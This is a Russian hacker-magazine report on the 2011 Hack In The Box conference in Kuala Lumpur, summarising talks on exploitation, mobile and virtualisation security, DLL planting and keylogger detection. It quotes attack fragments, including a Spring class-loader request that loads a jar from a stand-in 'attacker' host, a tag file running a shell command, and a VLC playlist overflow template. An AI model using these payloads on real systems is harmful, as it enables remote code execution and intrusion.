Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 145, ФЕВРАЛЬ 2011 г.

Welcome to Malaysia! Отчет о HITB из Куала-Лумпур

Этой осенью мне посчастливилось побывать на security-конференции Hack In The Box, проходившей с 11 по 14 октября в Куала-Лумпуре. Поездка оказалась втройне приятной: во-первых, я очень люблю Азию; во-вторых, я приехал на конфу в роли спикера; и в-третьих, меня очень порадовал общий уровень презентаций — было интересно послушать выступления братьев по разуму.

Куала-Лумпур — родина HITB: именно здесь в 2003 году замечательный человек Дилон Эндрю Каннабиран впервые организовал и провел эту конференцию. За 7 лет HITB стал одним из авторитетных security-ивентов, на который со всего мира съезжаются лучшие специалисты в области ИБ. Именно поэтому сейчас самое время перейти к главному — к докладам, которых было немало.

Раскроем коробку

Исследователи Лонг Ли и Тан Нгуен посвятили свой доклад модной теме ROP, основы которой уже описывал Алексей Синцов в предыдущих номерах. В докладе на HITB специалисты сосредоточили внимание на данной технике применительно к Linux и таким защитам, как NX, ASLR и ASCII-Armor. Ребята представили тулзу ROPME, которая являет собой не что иное, как обычный набор ROP-гаджетов и скриптов для автоматизации написания ROPэксплойтов (что очень даже полезно, вручную их писать – занятие довольно кропотливое). В общем, если тема написания эксплойтов — это твое, то не поленись и изучи этот материал.

Следующий доклад представил The Grugq — хороший приятель небезызвестного Федора Ярочкина, с которым мы неплохо пообщались в Амстердаме на прошлом HITB. Выступление было посвящено атакам на GSM-станции. Одна из представленных в докладе утилит — это RACHell, с помощью которой можно отправлять в глубокий DoS базовые станции GSM. Следующая утилита — IMSI Flood — нарушает работоспособность VLR и HLR, а также отрубает сеть. Кроме того, были показаны наработки в области фаззинга на Baseband-станции с помощью Фреймворка OpenBTS и специализированного софта Coseinc GSM FuzzFarm.

Исследователь Жан-Баптист Бедрун из компании Sogeti рассказал, как взламывать DRM-системы на примерах QuickTime и iTunes.
Поскольку я, сам являясь автором, не считаю нарушение авторских прав достойным занятием, то с подробностями доклада я не знакомился, но тебе это сделать никто, кроме совести, не запрещает. Цедрик Гельбрун и Жан Сигвальд из той же компании поведали о безопасности Айфона. Доклад был посвящен описанию общей системы безопасности, а также атакам на загрузчик (в основном применяется для выполнения JailBreak) и браузер. В целом владельцам игрушки, наверное, будет интересно. Мне же, несчастному дикарю, ни разу не державшему в руках диковинного зверя (ну ладно, один раз дали потрогать :)), доклад был не особо интересен.
Продолжая модную тему безопасности мобильных устройств, представил свой доклад «Smartphones, Applications & Security» исследователь Себастьян Зейглер, который говорил в основном о защите конфиденциальной информации, хранящейся на мобильных устройствах (начиная от приватных фото и заканчивая банковскими счетами), а также собственно о том, как эту информацию украсть и использовать для различных сценариев социальной инженерии.

Отдельное внимание Себастьян уделил появившимся недавно фейковым банковским приложениям и различным фишкам — например, взлом блокировки андроида с помощью тупого анализа отпечатков жирных пальцев на дисплее (телефон разблокируется путем рисования пальцем фигуры, известной только владельцу).

На конференции также выступил исследователь Шрираж Шах, который занимается безопасностью web2.0. В этот раз темой его доклада являлась безопасность Browser DOM. Справедливости ради замечу, что в выступлении было множество пересечений с предыдущим докладом. Из интересного можно отметить такой вектор атаки, когда злоумышленник внедряет код в новостную ленту, после чего, в результате некорректной обработки сервером данного сообщения (а точнее — в случае отсутствии фильтрации), есть возможность выполнить произвольный код в браузере жертвы. А можно сделать еще интереснее — проэксплуатировать уязвимость DOM Stealing. Уязвимость заключается в том, что иногда разработчики сохраняют критичную информацию в глобальных переменных.
Это можно продемонстрировать на следующем примере, где в переменную temp сохраняется url-строка с именем пользователя и его паролем:

temp = "login.do?user="+user+"&pwd="+pwd;
xmlhttp.open("GET",temp,true); xmlhttp.
open("GET",temp,true);
xmlhttp.onreadystatechange=function()

Таким образом, если получить доступ к этой переменной через document.body, то можно перехватить не только куки, но и пароли в открытом виде, а также любую другую критичную информацию. Еще одна фишка заключается в том, что через DOM XSS можно получить доступ к переменным Flash- и Silverlightобъектов, а это еще одно место с критической информацией... Ну а остальное ты прочитаешь сам. Ни одна конференция не обходится без какого-либо доклада по фаззингу. Вот и на HITB такой, разумеется, был представлен. Исследователь Мэри Йео из компании Intel рассказала про фаззинг RTL (Register Transfer Level). Возможно, кого-то данная тема также заинтересует, но в Хакере фаззинг расписывался не раз, так что останавливаться на этой теме я не буду (благо ничего нового из доклада не узнал).

Забавный доклад представил Лоран Удо из TEHTRISecurity. Он рассказывал про MITM-атаки на web. На этот раз он взял довольно «боянистую» тему анализа атак. Описывал стандартные сценарии заражения web-ресурсов, размещения вредоносного кода (сплоитпака), затроянивание юзеров и фарминг их аккаунтов.

В качестве примеров Лоран разобрал несколько реальных атак. Один из примеров – фарминг фейсбуковских аккаунтов с помощью фишинговой страницы, которая после захода редиректила на нормальный фейсбук.

Такие фишинговые сайты легко отлавливаются по рефереру, который оставляет клиент. После того, как фейковый сайт становится известным, есть множество вариантов отловить злоумышленников. Кроме того, можно предупреждать пользователей путем подмены картинок на предупреждающие. Смысл в том, что фейковые сайты зачастую имеют ссылки на изображения с реальных, дабы максимально приблизить сходство.

Таким образом, владельцы сайта видят, что идет обращение с левым реферером, и выдают вместо обычного изображения текст с предупреждением. Вот такая интересная идея, а остальное ты можешь прочитать в первоисточнике. Далее мы рассмотрим наиболее интересные доклады подробнее.

Ох уж эта виртуализация

Безопасность систем виртуализации — модная сейчас тема, и некоторые специалисты даже выделяют ее в отдельную область знаний, чуть ли не в отдельную аудиторскую услугу. Я скептически отношусь к этому: все-таки на данный момент пентест виртуальных машин не сильно отличается от обычного. Тем не менее, в ближайшие годы данная тема будет развиваться и, возможно, через какое-то время можно будет всерьез выделять аудит виртуальной инфраструктуры в отдельную услугу.

Понятно, что уязвимости, позволяющие выйти из дочерней системы в родительскую, будут появляться, но эта проблема частично решается патч-менеджментом.

А вот как быть с ошибками, связанными с неправильной конфигурацией и архитектурой виртуальной инфраструктуры? Клаудио Крисционе из Италии попробовал ответить на этот вопрос, представив доклад по теме. Вот ключевые точки его выступления:

  • Фреймворк VASTO для метасплоита, «The Virtualization Assessment Tolkit». Он позволяет автоматизировать ряд проверок во время аудита виртуальной инфраструктуры. В частности, для поиска виртуальных машин есть модуль Vmware Version, который с помощью soapзапроса на 80 порт позволяет получить инфу о версии системы путем фингерпринтинга.
  • Аудит клиентских машин, то есть тех, с которых осуществляется управление виртуальной инфраструктурой — занятие повеселей.

На всех из них присутствует клиентское ПО (VMware VI client) и, конечно же, в нем есть уязвимости — к примеру, в тех же ActiveXкомпонентах. Также у клиентского ПО есть функция автоматических обновлений. Запрос на обновление выглядит следующим образом:

<ConfigRoot>
<clientConnection id="0000">
<authdPort>902</authdPort>
<version>3</version>
<patchVersion>3.0.0</patchVersion>
<apiVersion>3.1.0</apiVersion>
<downloadurl>https://*/client/VMwareViclient.exe</downloadurl>
</clientConnection>
</ConfigRoot>

Если мы можем спуфить сеть и реализовать атаку MITM, то не составит труда подсунуть приложению паленые обновления с нашего поддельного сервера.

  • Еще одной интересной фишкой был баг url-форвардинга, с помощью которого можно слать POST-запросы на внутренние ресурсы и сканировать виртуальную подсеть, даже если к ней закрыт доступ (запросы в этом случае идут с IP-адреса сервера виртуальных машин).
  • Помимо этого были показаны различные варианты спуфинга между компонентами ну и, конечно же, модуль для брутфорса паролей.

В целом доклад Клаудио был интересным, но ряд угроз, уникальных для виртуальной инфраструктуры, в нем все же не были упомянуты.

К примеру, подмена виртуальной машины во время миграции. По этому поводу Клаудио сказал мне, что они работают над эксплоитом, который сможет реализовать атаку на практике, и ждут патчей от производителей, чтобы выложить в паблик.

Бинарная плантация

Следующий доклад был представлен исследователем Митей Колсеком из ACROS. Ты наверняка слышал про баг DLL Hijacking.
Так вот, эти ребята рассказали все подробности данной атаки, да еще и поведали о некоторых новых фишках. Вот список основных способов использования уязвимости DLL Hijacking:

  • Нажатие на ссылку в браузере
  • Нажатие на ссылку, пришедшую по почте
  • Нажатие на ссылку, пришедшую в IM
  • Открытие директории на файловом сервере
  • Документ с DLL в ZIP-архиве
  • Документ с DLL в ZIP на USB
  • Документ с DLL в ZIP на CD
  • Локальное повышение привилегий

Этого уже немало, но ребята нашли еще одну фишку. При подгрузке exe-файлов через функцию CreateProcess необходимый файл ищется по следующему алгоритму:

Проверяется директория, из которой запущено приложение

Текущая рабочая директория (CWD)
C:windowssystem32
C:windowssystem
C:windows
System Path; User Path

Тут ничего не поделаешь. Все четко, но при запуске бинарника при помощи ShellExecute мы получаем такую же картину, только без первого пункта! То есть, сперва проверяется текущая рабочая директория, а это как раз то, что нам надо. Таким образом, ряды более чем четырех сотен приложений, уязвимым к DLL Hijacking или Binary planting (как называют это исследователи из ACROSS), пополнили еще 120 уязвимых к EXE planting.

Помимо этого они выпустили тулзу ACROS Binary Planting Detector (как будто им чужих не хватало :)), с помощью которой простые смертные также могут найти уязвимости в других приложениях. Ну и конечно, в докладе описаны рекомендации по безопасности для разработчиков, админов и юзеров. На сайте www.binaryplanting.com можно ознакомиться с последними новостями по данной теме и проверить себя на уязвимости.

Палим кейлогеры

Все наверняка в курсе, что существуют хардварные кейлогеры, которые вставляются между клавиатурой и ps/2-разъемом, позволяя записывать все нажатия клавиш. На первый взгляд, преимущество их очевидно: в отличие от софтварных их невозможно обнаружить программно. Точнее, было невозможно, пока один исследователь не задумался об этом и не предложил решение. Еще до доклада, во время общения с автором методики, мне в голову пришла мысль, что это тайминги. И я оказался прав.

Все были удивлены тем фактом, что практически все кейлогеры работают по уязвимой для этого метода обнаружения схеме. Сперва они получают сигнал от клавиатуры, потом обрабатывают его, а затем передают в компьютер. Собственно, на различии во времени между обычным и перехваченным сигналом можно играть, и тем самым обнаруживать факт наличия кейлогера. Более подробно технические нюансы ты можешь посмотреть в докладе, если разбираешься в железе (я, честно говоря, в этом не силен). Также в докладе описаны и другие методы обнаружения. На самом деле я удивлен, почему кейлогеры не работают как прокси, перехватывая сигнал незаметно. Полагаю, скоро появится новое поколение кейлогеров, которых уже так просто не обнаружить.

Эксплойты с доставкой на дом

Исследователь Самуил Шах традиционно выступил в конце конференции, изрядно повеселив публику. Вообще этот индус — отличный оратор и профессионал в своей области. Его доклады встречаются в архивах таких конференций, как Blackhat, аж за 2000 год. Многим бы следовало поучиться у него именно мастерству ведения презентаций и подачи материала. Зачастую бывает так, что серьезные технические исследования доносятся совершенно безграмотно — вот пришел специалист рассказать, как эксплуатировать переполнение кучи в девайсах с нестандартной архитектурой на какойнибудь «embended OS», и мямлит себе под нос, а на слайдах одни скриншоты из дебагера. Шанс, что кто-нибудь кроме него поймет, что он сказал, а главное — заинтересуется этим, не велик. С другой стороны, есть прекрасные ораторы, которые любой самый скучный и боянистый доклад могут подать так, что все будут слушать, не отрываясь, и друзьям потом пересказывать. Самуил один из них: доклад не уступает шоу какого-нибудь Эдди Мерфи. Впрочем, хватит лирических отступлений, рассмотрим, что же интересного было в докладе с технической стороны, ибо атмосферу я все равно не передам.

Доклад назывался «Доставка эксплойтов». Не секрет, что основная масса уязвимостей аккумулируется в клиентском софте: есть множество браузеров, у них множество плагинов и во всем этом многообразии находят тонны уязвимостей. В их эксплуатации обычно есть нюанс: чаще всего необходимо заставить пользователя сделать что-либо: например, перейти по паленой ссылке.

Самый простой и действенный способ, который сейчас набирает обороты – это использование сервисов для сокращения url (например, bit.ly). К слову, я считаю эти сервисы глобальным злом, и мне кажется, что придумали их те, кому выгодно массово троянить пользователей под маской удобства. Суди сам: используя сокращения URL можно весело вешать браузер, зацикливая несколько ссылок друг на друга. С двумя ссылками такая вещь уже не катит, но если использовать три и более линков — многие браузеры вешаются. Из той же оперы идея «укорачивания» паленых ссылок, содержащих подозрительный для персональных файрфолов контент.

В качестве примера всего вышеописанного был рассмотрен эксплойт переполнения буфера в VLC-плеере. Переполнение происходит при загрузке «кривого» плейлиста, в котором не проверяется длина переменной при занесении в буфер. Классная уязвимость, но вот только проэксплуатировать, а точнее впарить пользователю, ее не так-то просто.

Не думаю, что люди часто получают по почте ссылку на плейлист, который необходимо проиграть. Согласись, выглядит неестественно. Но исходник плейлиста все же приложу.

<?xml version="1.0" encoding="UTF-8"?>
<playlist version="1"
xmlns="http://xspf.org/ns/0/"
xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/">
<title>Playlist</title>
<trackList>
<track>
<location>
smb://example.com@0.0.0.0/foo/#{AAAAAAAA....}
</location>
<extension
application="http://www.videolan.org/vlc/
playlist/0">
<vlc:id>0</vlc:id>
</extension>
</track>
</trackList>
</playlist>

Тут-то как раз и приходят на ум различные ухищрения. Ухищрение номер один – разместить эксплоит на smb-шаре. Ухищрение номер два – сгенерировать Alpha-numeric шелл-код. Ухищрение номер три – сократить этот огромный url при помощи bit.ly. В итоге нам остается только внедрить на сайт следующий код

<embed type="application/x-vlc-plugin" width="320" height="200" target="http://tinyurl.com/ycctrzf" id="vlc" />

Прелесть тут заключается в том, что мы и переполнение поэксплуатировали, и защитные механизмы обошли, ведь никакого подозрительного шеллкода или ява-скрипта в сгенеренном коде нет. Ну и, конечно же, никто не мешает внедрить этот код, используя XSSуязвимость на крупном сайте или популярной соцсети. Теперь второй пример: 0day под ie+java. Внимание, фокус!

Это шелл-код. Да, вот самый настоящий шелл-код, побайтно закодированный в пикселях изображения. Такой шелл-код несложно загрузить пользователю в память, поместив его в аватар. Плюс в том, что такой код не будет обнаруживаться различными антивирусами, но остается вопрос: как, собственно, его выполнить?. С приходом всяческих нововведений типа HTML5 мы получаем огромное количество новых способов обхода средств защиты. К примеру, у нас появился замечательный тэг <Canvas>, с помощью которого, используя функцию getimagedata(), можно побайтово считать шелл-код из картинки и выполнить его. Вот такой хитрый метод был представлен в докладе, а подробности... Ну, ты меня понял :).

Доим лошадь, или выполняем произвольный код в Java

Отличное название для отличного доклада. В свое время я хотел сделать исследование на эту тему, но все время руки не доходили. Было ложное ощущение того, что Java реально безопасна, и смысла лезть в эту степь нет. Классный парень Медер Кадыралиев из Киргизии, сейчас работающий в австралийском Google, сделал довольно успешный рисерч на эту тему. Саму Яву он не затронул, но вот популярным фреймворкам Apache struts2, Spring и JBoss Seam досталось по полной.

Рассмотрим один из багов в Spring. Там есть технология MVC, которая позволяет создавать объекты автоматически, на основе введенных POST-запросов. Уже ясно, что это адское палево, но посмотрим дальше. Если, к примеру, вызвать следующий POST-запрос:

POST /adduser HTTP/1.0
...
user.address.street= Disclosure+Str

Он будет эквивалентен такому вызову на сервере:

frmObj.getUser().getAddress().setStreet(
"Disclosure Str.")

А что же будет, если сделать такой запрос:

POST /adduser HTTP/1.0
...
class.classLoader.URLs[0]=jar:http://attacker/springexploit.jar!/

Тут мы пытаемся подменить URL загрузчика классов на jar-архив, лежащий на нашем сервере. Как результат — мы сможем выполнить теоретически произвольный код. Но для этого необходима еще пара шагов. Загрузчик классов ищет в jar-архиве TDL-файлы, которые хранят ссылки на tag-файлы.

/META-INF/spring-form.tld which defines form:input
and form:form tags:
<tag-file>
<name>input</name>
<path>/META-INF/tags/InputTag.tag</path>
</tag-file>
<tag-file>
<name>form</name>
<path>/META-INF/tags/InputTag.tag</path>
</tag-file>

А tag-файлы, в свою очередь, могут хранить java-код и компилируются при загрузке. Таким образом, если в них внедрить следующий код, он замечательно выполнится:

/META-INF/tags/InputTag.tag:
<%@ tag dynamic-attributes="dynattrs" %>
<%
java.lang.Runtime.getRuntime().exec("mkdir /tmp/PWNED");
%>

К сожалению, есть одно условие — этот хак сработает, только если его проэксплуатировать до первого вызова jsp-сценария, что на практике маловероятно, но в связке с каким-нибудь DoS, который лихо перезагрузит сервер, вполне возможно.

Я рассмотрел наиболее понятный для неподготовленного читателя метод. В докладе Медера было множество очень интересных хаков, которые требуют определенных скиллов в Яве, но это уже тема для отдельного изучения. Если кому интересно, можно обратиться к первоисточнику. Минимальные знания Java необходимы для понимания доклада, для этого Медер рекомендовал классную книгу под названием «Thinking Java». Кстати, если есть желание ресерчить в данной области, можешь писать мне — возможно ты пополнишь ряды DSECRG, а потом и сам отправишься выступать на HITB с уникальным исследованием.

В заключение

Вот, пожалуй, и все наиболее интересное. О, чуть не забыл крутую тему: на HITB'е я серьезно увлекся темой lockpicking, что по-нашему – взламывание замков. Не каких-нибудь там электронных, а самых обыкновенных механических. По этой теме есть целые группы (к примеру look.nl), а также куча докладов и тренингов. Я уже подсадил на это Алексея Синцова, так что когда мы с ним прокачаем навыки, то сразу расскажем об этом в журнале (естественно, только в ознакомительных целях :)).

PS

Буквально вчера я получил подтверждение на участие с конференции Blackhat. Как и каждый специалист по ИБ, я с детства мечтал попасть туда, и вот — еду, но не просто слушателем, а докладчиком! И, судя по всему, я буду первым русским (эмигранты не в счет) докладчиком на этой знаменитой конференции, чему сам искренне удивлен. Так что жди обзор BlackHat изнутри в ближайших номерах — ты прочтешь это первым на страницах!

Links

Содержание
ttfb: 1326.4009952545 ms